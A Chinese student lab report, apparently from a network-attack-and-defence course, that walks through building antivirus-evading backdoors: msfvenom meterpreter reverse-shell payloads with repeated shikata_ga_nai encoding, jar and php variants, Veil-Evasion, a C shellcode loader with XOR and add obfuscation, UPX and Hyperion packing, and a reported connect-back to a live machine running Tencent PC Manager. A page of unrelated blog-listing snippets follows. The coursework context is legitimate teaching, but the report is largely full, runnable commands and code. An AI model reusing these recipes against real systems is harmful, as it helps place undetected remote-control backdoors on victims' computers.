1.实验内容

  • 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
  • 2.通过组合应用各种技术实现恶意代码免杀(1分)

    (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
  • 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

2.基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 基于特征码的检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
  • 启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
  • 基于行为的恶意软件检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。

(2)免杀是做什么?

  • 通过伪装,加解密,对shellcode进行变形,利用veil进行重写重编译等手段防止生成的后门被杀软检测出来

(3)免杀的基本方法有哪些?

  • 改变特征码

    • 如果你手里只有EXE

      • 加壳:压缩壳 加密壳,使其无法进行逆向,比对病毒库中的特征码
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写重编译(veil-evasion)
      • 半手工
  • 改变行为

    • 通讯方式

      • 例如之前注入所用到的反弹端口连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 非常规方法

    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
    • 使用社工类攻击,诱骗目标关闭AV软件
    • 纯手工打造一个恶意软件

3.实验内容

任务一:正确使用免杀工具或技巧

使用msf编码器,msfvenom生成如jar之类的其他文件

  • Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然,所有AV厂家都盯着呢,一有新编码算法,马上就得加到特征库里。通过编码后,按理论上讲,编码会降低检出率,大不了多编码几次,总会检不出来。
  • 编码一次命令如下(用-e参数编码):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\x00’ LHOST=192.168.19.129 LPORT=5230 -f exe > 20165230_backdoor.exe

  • 放去virscan扫描,结果有点惨,有29个扫描了出来。

  • 编码十次命令如下(用-i参数指定编码次数):

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.19.129 LPORT=5230 -f exe > 20165230_back2.exe

  • 再放去扫描,少了1个,但感觉没有多大效果。

  • 生成.jar文件夹

    msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.19.129 lport=5230 x> 20165230_backdoor_java.jar

  • msfvenom生成php文件:

    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.19.129 lport=5230 x> 20165230_backdoor.php

使用veil-evasion

  • 居然安装了一天也没有安装出来,老是卡在展开对象那里,去网上搜也没有找到解决方案,最后实在没办法去拷贝了学长的虚拟机 TAT
  • 下面是学长博客里的正常安装方法:

在Kali终端中使用sudo apt-get install veil安装,若遇到问题则用sudo apt-get updatesudo apt-get upgrade这两个命令更新一下软件包即可:

之后用veil命令打开Veil,输入y继续安装直至完成

  • 在终端中使用veil命令进入应用,输入use evasion进入veil-evasion

    输入use python/meterpreter/rev_tcp.py

  • 然后设置回连IP(此处IP是kali)和端口,输入generate生成文件,接着输入你想要payload的名字:veil_c_5230:

  • 然后生成了可执行文件。

  • 看看Viruscan的扫描结果怎么样,咦还不错,只有15个了!

自己利用shellcode编程

Linux平台交叉编译Windows应用

  • 使用命令msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.19.129 LPORT=5230 -f c 生成一个c语言格式的shellcode数组

  • vim shell1.c命令新建一个c文件,将生成的shellcode粘贴到其中,并在之后添加主函数

int main()
{
int (*func)() = (int(*)())buf;
func();
}

  • 再用i686-w64-mingw32-g++ shell1.c -o shell1.exe命令生成可执行文件
  • 将后门shell1.exe传到Windows 7并尝试回连:
1.在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=5230 -f exe > shell1.exe注意这里的IP地址为控制端IP,即LinuxIP,生成后门程序

2.在Windows下执行ncat.exe -l 5230 > shell1.exe,这样被控主机就进入了接收文件模式

3.在kali中通过nc 192.168.19.128 5230 < shell1.exe将生成的后门程序传送到Windows主机上.注意这里的IP为被控主机IP,即WindowsIP

  • 回连先ping通,然后再做是没有问题的

  • 还是一样用Viruscan扫描一下

  • 发现并没有改进啊!

  • -e指定生成shellcode的编码方式,生成新的shellcode msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.19.129 -f c

  • 还是不行!!

接下来我换了N种方式变换了主函数,重新生成了shellcode,不断用ncat在两台虚拟机之间传输exe,依然没用,我的内心是崩溃的

  • 再试一下老师提供的方法!
  • 。。。被删除了

加壳处理

upx压缩壳

  • upx是一种压缩程序,可以实现加壳的功能,Kali下输入命令upx shellupx.exe -o shellupx.upxed.exe

  • 再去扫一遍,emmmmm,这个壳好像也没用

Hyperion加密壳

  • 进入目录/usr/share/windows-binaries/hyperion/中;

  • 输入命令wine hyperion.exe -v shell5.upxed.exe shell5.upxed.Hyperion.exe进行加壳:

  • 再去扫一遍,咦,稍微好了一点点点,不过还是不要加壳了吧

任务二:通过组合应用各种技术实现恶意代码免杀

对shellcode进行免杀变形

  • 思路是在上一步里msfvenom生成shellcode的基础上加上了对每一位进行加2运算,并将shellcode与0x5f相异或,使用的codeblocks编译

在经历了N次失败后,已经快要没有信心了,后来我之前相同的代码在主机的Codeblocks编译生成exe,再放去viruscan里扫描 居然成功了!也太神奇了吧

  • 也没有被杀软杀!360和腾讯管家都开了

  • 再回连一下,OK!!

veil+加壳

  • 将之前的veil生成的veil_5230.exe,拷贝到/usr/share/windows-binaries/hyperion/目录中
  • 进入目录/usr/share/windows-binaries/hyperion/中
  • 输入命令wine hyperion.exe -v sxx_upxed.exe sxx_upxed_Hyperion.exe进行加壳
  • 最后放到viruscan里,发现加壳真的很鸡肋。。。最开始veil生成的exe扫描出来结果是15,这样的方式居然是21!

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 实验环境:被控机是Win0实体机,装有腾讯电脑管家(12.14.19590.218)
  • 攻击成功,可以查看她的文件夹

4.实践总结与体会

  • 这次实验花了N多天时间,才最终完成,整个过程确实煎熬,先是配置veil不成功,虚拟机崩了两次,再是不论怎样组合shellcode扫描的结果都不变,还有在实验过程中保存在桌面的实验截图突然不见了,被系统删掉了,又只有重新截图,在期间看了很多博客,确是收获了不少。对免杀技术也有了进一步的掌握,让我对病毒的认识有了进一步的提升,同时深刻看出了当今杀毒软件的脆弱以及各杀毒软件之间水平的差异,所以,谨慎小心对于我们这个行业的学生来说是非常重要并且安全威胁是近在眼前的!

5.离实战还缺些什么技术或步骤?

  • 如何隐藏后门,让别人不经意触发后门实现控制,
  • 如何让后门自启动

20165230 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. Push rejected: Push to origin/master was rejected错误解决方案

    解决方案如下: 1.切换到自己项目所在的目录,右键选择GIT BASH Here,Idea中可使用Alt+F12 2.在terminl窗口中依次输入命令: git pull git pull orig ...

  2. 异步渲染页面怎么点击checkbox获取value值

    前后端分离时 后端向前端传递json数据  前端根据需要进行页面渲染 因为是异步渲染 想要获取获取渲染数据里面的值时获取不到的 介绍两个方法: 1,设置全局变量 即渲染时在html页面设置全局变量 如 ...

  3. 如何用ABP框架快速完成项目(6) - 用ABP一个人快速完成项目(2) - 使用多个成熟控件框架

    正如我在<office365的开发者训练营,免费,在微软广州举办>课程里面所讲的, 站在巨人的肩膀上的其中一项就是, 尽量使用别人成熟的框架. 其中也包括了控件框架   abp和52abp ...

  4. 拖放排序插件Sortable.js

    特点 支持触屏设备和大部分浏览器(IE9以下的就不支持了,原因都懂得) 可以从一个列表容器中拖拽一个列表单元到其他容器或本列表容器中进行排序 移动列表单元时有css动画 支持拖放操作和可选择的文本(这 ...

  5. 选择语句--switch

    switch语句 格式: 执行流程 首先计算出表达式的值 其次,和case依次比较,一旦有对应的值,就会执行相应的语句,在执行的过程中,遇到break就会结束. 最后,如果所有的case都和表达式的值 ...

  6. NOIP2010提高组复赛C 关押罪犯

    题目链接:https://ac.nowcoder.com/acm/contest/258/C 题目大意: 略 分析: 这题是并查集的一个变题,先按积怨值从大到小排序,然后一个一个看能否完全分开,遇到的 ...

  7. Linux(Ubuntu 16) 下Java开发环境的配置(三)------Mysql配置

    前言 吐槽一句,如果在Ubuntu在默认情况下是只有最新的MySQL源的,即如果使用"sudo apt-get install mysql-server mysql-client " ...

  8. flask 状态保持session和上下文session的区别

    问题场景: 在falsk项目中导入了两个session:    首先,配置文件config.py文件中 有个 flask_session扩展导入了Session  ( from flask_sessi ...

  9. DRF初识与序列化

    一.Django的序列化方法 1.为什么要用序列化组件 做前后端分离的项目,我们前后端数据交互一般都选择JSON,JSON是一个轻量级的数据交互格式.那么我们给前端数据的时候都要转成json格式,那就 ...

  10. bootstrapValidator操作

    1.html中表单初始化 <script> //表单验证初始化 $('#wx_pay_account_form_id').bootstrapValidator({ message : 'T ...